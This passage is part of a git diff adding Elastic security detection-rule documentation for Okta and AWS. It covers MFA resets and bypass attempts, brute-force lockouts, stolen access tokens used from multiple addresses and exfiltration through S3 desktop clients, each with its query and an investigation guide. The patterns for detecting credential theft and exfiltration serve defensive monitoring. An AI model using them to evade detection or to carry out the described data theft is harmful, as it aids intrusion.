+ +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Attempt to Reset MFA Factors for an Okta User Account* + + +Okta is a widely used identity management service that provides multi-factor authentication (MFA) to enhance security. Adversaries may attempt to reset MFA factors to register their own, gaining unauthorized access while appearing legitimate. The detection rule identifies such attempts by monitoring specific Okta system events, helping to flag potential account manipulation activities. + + +*Possible investigation steps* + + +- Review the Okta system logs for the specific event.action:user.mfa.factor.reset_all to identify the user account involved in the MFA reset attempt. +- Check the timestamp of the event to determine when the reset attempt occurred and correlate it with any other suspicious activities around the same time. +- Investigate the IP address and location associated with the event to assess if it aligns with the user's typical access patterns or if it appears unusual. +- Examine the user account's recent activity history for any anomalies or unauthorized access attempts that might indicate compromise. +- Verify if there have been any recent changes to the user's account settings or permissions that could suggest account manipulation. +- Contact the affected user to confirm whether they initiated the MFA reset or if it was unauthorized, and advise them on securing their account if necessary. + + +*False positive analysis* + + +- Routine administrative actions may trigger the rule if IT staff reset MFA factors for legitimate reasons such as assisting users who have lost access to their MFA devices. To manage this, create exceptions for known IT personnel or specific administrative actions. +- User-initiated resets due to lost or changed devices can also appear as suspicious activity. Implement a process to verify user requests and document these instances to differentiate them from malicious attempts. +- Automated scripts or tools used for account management might reset MFA factors as part of their operations. Identify and whitelist these tools to prevent false positives. +- Scheduled security audits or compliance checks that involve resetting MFA factors should be documented and excluded from triggering alerts by setting up time-based exceptions during these activities. + + +*Response and remediation* + + +- Immediately disable the affected Okta user account to prevent further unauthorized access. +- Review recent login activity and MFA changes for the affected account to identify any unauthorized access or suspicious behavior. +- Reset the MFA factors for the affected account and ensure that only the legitimate user can re-enroll their MFA devices. +- Notify the legitimate user of the account compromise and advise them to change their password and review their account activity. +- Conduct a security review of the affected user's permissions and access to sensitive resources to ensure no unauthorized changes were made. +- Escalate the incident to the security operations team for further investigation and to determine if other accounts may be affected. +- Update security monitoring and alerting to enhance detection of similar MFA reset attempts, leveraging the MITRE ATT&CK framework for guidance on persistence and account manipulation tactics. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:user.mfa.factor.reset_all + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-revoke-okta-api-token.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-revoke-okta-api-token.asciidoc new file mode 100644 index 0000000000..90dccbb232 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-revoke-okta-api-token.asciidoc @@ -0,0 +1,107 @@ +[[prebuilt-rule-8-19-21-attempt-to-revoke-okta-api-token]] +=== Attempt to Revoke Okta API Token + +Identifies attempts to revoke an Okta API token. An adversary may attempt to revoke or delete an Okta API token to disrupt an organization's business operations. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 414 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Revoke Okta API Token* + + +The rule alerts when attempts are made to revoke an Okta API token. The API tokens are critical for integration services, and revoking them may lead to disruption in services. Therefore, it's important to validate these activities. + + +*Possible investigation steps:* + +- Identify the actor associated with the API token revocation attempt. You can use the `okta.actor.alternate_id` field for this purpose. +- Determine the client used by the actor. Review the `okta.client.device`, `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.ip_chain.ip`, and `okta.client.geographical_context` fields. +- Verify if the API token revocation was authorized or part of some planned activity. +- Check the `okta.outcome.result` and `okta.outcome.reason` fields to see if the attempt was successful or failed. +- Analyze the past activities of the actor involved in this action. An actor who usually performs such activities may indicate a legitimate reason. +- Evaluate the actions that happened just before and after this event. It can help understand the full context of the activity. + + +*False positive analysis:* + +- It might be a false positive if the action was part of a planned activity or was performed by an authorized person. + + +*Response and remediation:* + +- If unauthorized revocation attempts are confirmed, initiate the incident response process. +- Block the IP address or device used in the attempts, if they appear suspicious. +- Reset the user's password and enforce MFA re-enrollment, if applicable. +- Conduct a review of Okta policies and ensure they are in accordance with security best practices. +- If the revoked token was used for critical integrations, coordinate with the relevant team to minimize the impact. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:system.api_token.revoke + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempted-bypass-of-okta-mfa.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempted-bypass-of-okta-mfa.asciidoc new file mode 100644 index 0000000000..bc21c94043 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempted-bypass-of-okta-mfa.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-21-attempted-bypass-of-okta-mfa]] +=== Attempted Bypass of Okta MFA + +Detects attempts to bypass Okta multi-factor authentication (MFA). An adversary may attempt to bypass the Okta MFA policies configured for an organization in order to obtain unauthorized access to an application. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/okta-and-lapsus-what-you-need-to-know +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Data Source: Okta +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 415 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempted Bypass of Okta MFA* + + +Multi-factor authentication (MFA) is a crucial security measure in preventing unauthorized access. Okta MFA, like other MFA solutions, requires the user to provide multiple means of identification at login. An adversary might attempt to bypass Okta MFA to gain unauthorized access to an application. + +This rule detects attempts to bypass Okta MFA. It might indicate a serious attempt to compromise a user account within the organization's network. + + +*Possible investigation steps* + + +- Identify the actor related to the alert by reviewing `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, or `okta.actor.display_name` fields in the alert. +- Review the `okta.client.user_agent.raw_user_agent` field to understand the device and software used by the actor. +- Examine the `okta.outcome.reason` field for additional context around the bypass attempt. +- Check the `okta.outcome.result` field to confirm the MFA bypass attempt. +- Check if there are multiple unsuccessful MFA attempts from the same actor or IP address (`okta.client.ip`). +- Check for successful logins immediately following the MFA bypass attempt. +- Verify whether the actor's activity aligns with typical behavior or if any unusual activity took place around the time of the bypass attempt. + + +*False positive analysis* + + +- Check if there were issues with the MFA system at the time of the bypass attempt. This could indicate a system error rather than a genuine bypass attempt. +- Check the geographical location (`okta.request.ip_chain.geographical_context`) and time of the login attempt. If these match the actor's normal behavior, it might be a false positive. +- Verify the actor's MFA settings to ensure they are correctly configured. + + +*Response and remediation* + + +- If unauthorized access is confirmed, initiate the incident response process. +- Immediately lock the affected actor account and require a password change. +- Consider resetting MFA tokens for the actor and require re-enrollment. +- Check if the compromised account was used to access or alter any sensitive data or systems. +- If a specific MFA bypass technique was used, ensure your systems are patched or configured to prevent such techniques. +- Assess the criticality of affected services and servers. +- Work with your IT team to minimize the impact on users and maintain business continuity. +- If multiple accounts are affected, consider a broader reset or audit of MFA tokens. +- Implement security best practices https://www.okta.com/blog/2019/10/9-admin-best-practices-to-keep-your-org-secure/[outlined] by Okta. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:user.mfa.attempt_bypass + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Multi-Factor Authentication Interception +** ID: T1111 +** Reference URL: https://attack.mitre.org/techniques/T1111/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempts-to-brute-force-an-okta-user-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempts-to-brute-force-an-okta-user-account.asciidoc new file mode 100644 index 0000000000..6ed4cb576e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempts-to-brute-force-an-okta-user-account.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-21-attempts-to-brute-force-an-okta-user-account]] +=== Attempts to Brute Force an Okta User Account + +Identifies when an Okta user account is locked out 3 times within a 3 hour window. An adversary may attempt a brute force or password spraying attack to obtain unauthorized access to user accounts. The default Okta authentication policy ensures that a user account is locked out after 10 failed authentication attempts. + +*Rule type*: threshold + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-180m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Data Source: Okta +* Resources: Investigation Guide + +*Version*: 417 + +*Rule authors*: + +* Elastic +* @BenB196 +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempts to Brute Force an Okta User Account* + + +Brute force attacks aim to guess user credentials through exhaustive trial-and-error attempts. In this context, Okta accounts are targeted. + +This rule fires when an Okta user account has been locked out 3 times within a 3-hour window. This could indicate an attempted brute force or password spraying attack to gain unauthorized access to the user account. Okta's default authentication policy locks a user account after 10 failed authentication attempts. + + +*Possible investigation steps:* + + +- Identify the actor related to the alert by reviewing `okta.actor.alternate_id` field in the alert. This should give the username of the account being targeted. +- Review the `okta.event_type` field to understand the nature of the events that led to the account lockout. +- Check the `okta.severity` and `okta.display_message` fields for more context around the lockout events. +- Look for correlation of events from the same IP address. Multiple lockouts from the same IP address might indicate a single source for the attack. +- If the IP is not familiar, investigate it. The IP could be a proxy, VPN, Tor node, cloud datacenter, or a legitimate IP turned malicious. +- Determine if the lockout events occurred during the user's regular activity hours. Unusual timing may indicate malicious activity. +- Examine the authentication methods used during the lockout events by checking the `okta.authentication_context.credential_type` field. + + +*False positive analysis:* + + +- Determine whether the account owner or an internal user made repeated mistakes in entering their credentials, leading to the account lockout. +- Ensure there are no known network or application issues that might cause these events. + + +*Response and remediation:* + + +- Alert the user and your IT department immediately. +- If unauthorized access is confirmed, initiate your incident response process. +- Investigate the source of the attack. If a specific machine or network is compromised, additional steps may need to be taken to address the issue. +- Require the affected user to change their password. +- If the attack is ongoing, consider blocking the IP address initiating the brute force attack. +- Implement account lockout policies to limit the impact of brute force attacks. +- Encourage users to use complex, unique passwords and consider implementing multi-factor authentication. +- Check if the compromised account was used to access or alter any sensitive data or systems. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:user.account.lock + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-access-token-used-from-multiple-addresses.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-access-token-used-from-multiple-addresses.asciidoc new file mode 100644 index 0000000000..93944607dd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-access-token-used-from-multiple-addresses.asciidoc @@ -0,0 +1,221 @@ +[[prebuilt-rule-8-19-21-aws-access-token-used-from-multiple-addresses]] +=== AWS Access Token Used from Multiple Addresses + +This rule identifies potentially suspicious activity by detecting instances where a single IAM user's temporary session token is accessed from multiple IP addresses within a short time frame. Such behavior may suggest that an adversary has compromised temporary credentials and is utilizing them from various locations. To enhance detection accuracy and minimize false positives, the rule incorporates criteria that evaluate unique IP addresses, user agents, cities, and networks. These additional checks help distinguish between legitimate distributed access patterns and potential credential misuse. Detected activities are classified into different types based on the combination of unique indicators, with each classification assigned a fidelity score reflecting the likelihood of malicious behavior. High fidelity scores are given to patterns most indicative of threats, such as multiple unique IPs, networks, cities, and user agents. Medium and low fidelity scores correspond to less severe patterns, enabling security teams to effectively prioritize alerts. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-32m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Data Source: AWS CloudTrail +* Tactic: Initial Access +* Use Case: Identity and Access Audit +* Resources: Investigation Guide + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating AWS Access Token Used from Multiple Addresses* + + +Access tokens are bound to a single user. Usage from multiple IP addresses may indicate the token was stolen and used elsewhere. By correlating this with additional detection criteria like multiple user agents, different cities, and different networks, we can improve the fidelity of the rule and help to eliminate false positives associated with expected behavior, like dual-stack IPV4/IPV6 usage. + + +*Possible investigation steps* + + +- **Identify the IAM User**: Examine the `aws.cloudtrail.user_identity.arn` stored in `user_id` and correlate with the `source.ips` stored in `ip_list` and `unique_ips` count to determine how widely the token was used. +- **Correlate Additional Detection Context**: Examine `activity_type` and `fidelity_score` to determine additional cities, networks or user agents associated with the token usage. +- **Determine Access Key Type**: Examine the `access_key_id` to determine whether the token is short-term (beginning with ASIA) or long-term (beginning with AKIA). +- **Check Recent MFA Events**: Determine whether the user recently enabled MFA, registered devices, or assumed a role using this token. +- **Review Workload Context**: Confirm whether the user was expected to be active across multiple cities, networks or user agent environments. +- **Trace Adversary Movement**: Pivot to related actions (e.g., `s3:ListBuckets`, `iam:ListUsers`, `sts:GetCallerIdentity`) to track further enumeration. + + +*False positive analysis* + + +- Automation frameworks that rotate through multiple IPs or cloud functions with dynamic egress IPs may cause this alert to fire. +- Confirm geolocation and workload context before escalating. + + +*Response and remediation* + + +- **Revoke the Token**: Disable or rotate the IAM credentials and invalidate the temporary session token. +- **Audit the Environment**: Look for signs of lateral movement or data access during the token's validity. +- **Strengthen Controls**: Require MFA for high-privilege actions, restrict access via policy conditions (e.g., IP range or device). + + +*Additional information* + + +- https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html[IAM Long-Term Credentials] +- https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html[STS Temporary Credentials] +- https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_enable-regions.html[Using MFA with Temporary Credentials] +- https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-standards-fsbp-controls.html[AWS Threat Detection Use Cases] + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws.cloudtrail* metadata _id, _version, _index +| where @timestamp > now() - 30 minutes + and data_stream.dataset == "aws.cloudtrail" + and aws.cloudtrail.user_identity.arn is not null + and aws.cloudtrail.user_identity.type == "IAMUser" + and source.ip is not null + and aws.cloudtrail.user_identity.access_key_id is not null + and not ( + user_agent.original like "*Terraform*" or + user_agent.original like "*Ansible*" or + user_agent.original like "*Pulumi*" + ) + and `source.as.organization.name` != "AMAZON-AES" + and not (( + `source.as.organization.name` == "AMAZON-02" and aws.cloudtrail.event_category == "Data")) + and event.provider not in ( + "health.amazonaws.com", "monitoring.amazonaws.com", "notifications.amazonaws.com", + "ce.amazonaws.com", "cost-optimization-hub.amazonaws.com", + "servicecatalog-appregistry.amazonaws.com", "securityhub.amazonaws.com", + "account.amazonaws.com", "budgets.amazonaws.com", "freetier.amazonaws.com", "support.amazonaws.com", + "support-console.amazonaws.com" + ) + +| eval + Esql.time_window_date_trunc = date_trunc(30 minutes, @timestamp), + Esql.aws_cloudtrail_user_identity_arn = aws.cloudtrail.user_identity.arn, + Esql.aws_cloudtrail_user_identity_access_key_id = aws.cloudtrail.user_identity.access_key_id, + Esql.source_ip = source.ip, + Esql.user_agent_original = user_agent.original, + Esql.source_ip_string = to_string(source.ip), + Esql.source_ip_user_agent_pair = concat(Esql.source_ip_string, " - ", user_agent.original), + Esql.source_ip_city_pair = concat(Esql.source_ip_string, " - ", source.geo.city_name), + Esql.source_geo_city_name = source.geo.city_name, + Esql.source_network_org_name = `source.as.organization.name`, + Esql.source_ip_network_pair = concat(Esql.source_ip_string, "-", `source.as.organization.name`), + Esql.event_timestamp = @timestamp, + Esql.data_stream_namespace = data_stream.namespace + +| stats + Esql.event_action_values = values(event.action), + Esql.event_provider_values = values(event.provider), + Esql.aws_cloudtrail_user_identity_access_key_id_values = values(Esql.aws_cloudtrail_user_identity_access_key_id), + Esql.aws_cloudtrail_user_identity_arn_values = values(Esql.aws_cloudtrail_user_identity_arn), + Esql.source_ip_values = values(Esql.source_ip), + Esql.user_agent_original_values = values(Esql.user_agent_original), + Esql.source_ip_user_agent_pair_values = values(Esql.source_ip_user_agent_pair), + Esql.source_geo_city_name_values = values(Esql.source_geo_city_name), + Esql.source_ip_city_pair_values = values(Esql.source_ip_city_pair), + Esql.source_network_org_name_values = values(Esql.source_network_org_name), + Esql.source_ip_network_pair_values = values(Esql.source_ip_network_pair), + Esql.source_ip_count_distinct = count_distinct(Esql.source_ip), + Esql.user_agent_original_count_distinct = count_distinct(Esql.user_agent_original), + Esql.source_geo_city_name_count_distinct = count_distinct(Esql.source_geo_city_name), + Esql.source_network_org_name_count_distinct = count_distinct(Esql.source_network_org_name), + Esql.data_stream_namespace_values = values(Esql.data_stream_namespace), + Esql.timestamp_first_seen = min(Esql.event_timestamp), + Esql.timestamp_last_seen = max(Esql.event_timestamp), + Esql.event_count = count() + by Esql.time_window_date_trunc, Esql.aws_cloudtrail_user_identity_access_key_id + +| eval + Esql.activity_type = case( + Esql.source_ip_count_distinct >= 2 and Esql.source_network_org_name_count_distinct >= 2 and Esql.source_geo_city_name_count_distinct >= 2 and Esql.user_agent_original_count_distinct >= 2, "multiple_ip_network_city_user_agent", + Esql.source_ip_count_distinct >= 2 and Esql.source_network_org_name_count_distinct >= 2 and Esql.source_geo_city_name_count_distinct >= 2, "multiple_ip_network_city", + Esql.source_ip_count_distinct >= 2 and Esql.source_geo_city_name_count_distinct >= 2, "multiple_ip_and_city", + Esql.source_ip_count_distinct >= 2 and Esql.source_network_org_name_count_distinct >= 2, "multiple_ip_and_network", + Esql.source_ip_count_distinct >= 2 and Esql.user_agent_original_count_distinct >= 2, "multiple_ip_and_user_agent", + "normal_activity" + ), + Esql.activity_fidelity_score = case( + Esql.activity_type == "multiple_ip_network_city_user_agent", "high", + Esql.activity_type == "multiple_ip_network_city", "high", + Esql.activity_type == "multiple_ip_and_city", "medium", + Esql.activity_type == "multiple_ip_and_network", "medium", + Esql.activity_type == "multiple_ip_and_user_agent", "low" + ) + +| keep + Esql.time_window_date_trunc, + Esql.activity_type, + Esql.activity_fidelity_score, + Esql.event_count, + Esql.timestamp_first_seen, + Esql.timestamp_last_seen, + Esql.aws_cloudtrail_user_identity_arn_values, + Esql.aws_cloudtrail_user_identity_access_key_id_values, + Esql.event_action_values, + Esql.event_provider_values, + Esql.source_ip_values, + Esql.user_agent_original_values, + Esql.source_ip_user_agent_pair_values, + Esql.source_geo_city_name_values, + Esql.source_ip_city_pair_values, + Esql.source_network_org_name_values, + Esql.source_ip_network_pair_values, + Esql.source_ip_count_distinct, + Esql.user_agent_original_count_distinct, + Esql.source_geo_city_name_count_distinct, + Esql.source_network_org_name_count_distinct, + Esql.data_stream_namespace_values + +| where Esql.activity_fidelity_score == "high" + +// this rule only alerts for "high" fidelity cases, to broaden the rule scope to include all activity +// change the final condition to +// | where Esql.activity_type != "normal_activity" + + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-api-activity-from-uncommon-s3-client-by-rare-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-api-activity-from-uncommon-s3-client-by-rare-user.asciidoc new file mode 100644 index 0000000000..c8d5bd0fed --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-api-activity-from-uncommon-s3-client-by-rare-user.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-21-aws-api-activity-from-uncommon-s3-client-by-rare-user]] +=== AWS API Activity from Uncommon S3 Client by Rare User + +Identifies AWS API activity originating from uncommon desktop client applications based on the user agent string. This rule detects S3 Browser and Cyberduck, which are graphical S3 management tools that provide bulk upload/download capabilities. While legitimate, these tools are rarely used in enterprise environments and have been observed in use by threat actors for data exfiltration. Any activity from these clients should be validated against authorized data transfer workflows. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://s3browser.com/ +* https://cyberduck.io/ +* https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud +* https://attackevals.github.io/ael/enterprise/scattered_spider/emulation_plan/scattered_spider_scenario/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS S3 +* Tactic: Exfiltration +* Use Case: Threat Detection +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating AWS API Activity from Uncommon S3 Client by Rare User* + + +S3 Browser and Cyberduck are graphical clients for Amazon S3 that allow users to browse, upload, download, and manage S3 objects. While legitimate tools, they are uncommonly used in enterprise environments where organizations typically standardize on AWS CLI, SDKs, or console access. The presence of these tools may indicate unauthorized data access or exfiltration activity. + +This is a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] rule that identifies the first time a specific user within an account makes API calls using S3 Browser or Cyberduck user agent strings. Threat actors have been observed using these tools for their intuitive interface and bulk data transfer capabilities during post-compromise data theft operations. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine which IAM principal was used. + - Check whether this principal normally accesses S3 and whether usage of these desktop clients is expected or authorized. + +- **Review accessed resources** + - Examine `aws.cloudtrail.resources.arn` to identify which S3 buckets and objects were accessed. + - Determine whether the accessed data is sensitive, confidential, or subject to data protection policies. + - Look for patterns indicating bulk downloads or systematic enumeration of bucket contents. + +- **Analyze the actions performed** + - Review `event.action` to understand what operations were performed (e.g., `GetObject`, `ListBucket`, `PutObject`). + - High volumes of `GetObject` calls may indicate data exfiltration. + - `PutObject` calls to external buckets could indicate data staging for exfiltration. + +- **Inspect source network context** + - Review `source.ip` and `source.geo` fields to determine the origin of the request. + - Check whether the IP belongs to corporate infrastructure, VPN, or an unexpected external location. + - External IPs combined with these desktop client tools are high-risk indicators. + +- **Correlate with surrounding activity** + - Search for additional CloudTrail events from the same access key or session. + - Look for preceding credential theft indicators such as `GetSecretValue`, `CreateAccessKey`, or console logins. + - Check for cross-account transfers or `CreateBucket` calls in external accounts. + + +*False positive analysis* + + +- **Authorized data migration or backup activities** may use these tools. Confirm with data engineering or IT teams. +- **Developer testing** in non-production environments may occasionally involve these clients. Validate the environment and data sensitivity. +- **Third-party integrations** using Cyberduck libraries may generate this user agent. Verify the automation context. + + +*Response and remediation* + + +- **If unauthorized**, immediately revoke or rotate the affected access keys and invalidate active sessions. +- **Assess data exposure** by reviewing which objects were accessed and determining if sensitive data was compromised. +- **Notify security operations** and initiate incident response procedures if exfiltration is confirmed. +- **Implement preventive controls** such as S3 bucket policies restricting access by user agent or requiring VPC endpoints. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and user_agent.original: (*S3 Browser* or *Cyberduck*) + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-cloudshell-environment-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-cloudshell-environment-created.asciidoc new file mode 100644 index 0000000000..0279c73dc7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-cloudshell-environment-created.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-21-aws-cloudshell-environment-created]] +=== AWS CloudShell Environment Created + +Identifies the creation of a new AWS CloudShell environment. CloudShell is a browser-based shell that provides command-line access to AWS resources directly from the AWS Management Console. The CreateEnvironment API is called when a user launches CloudShell for the first time or when accessing CloudShell in a new AWS region. Adversaries with console access may use CloudShell to execute commands, install 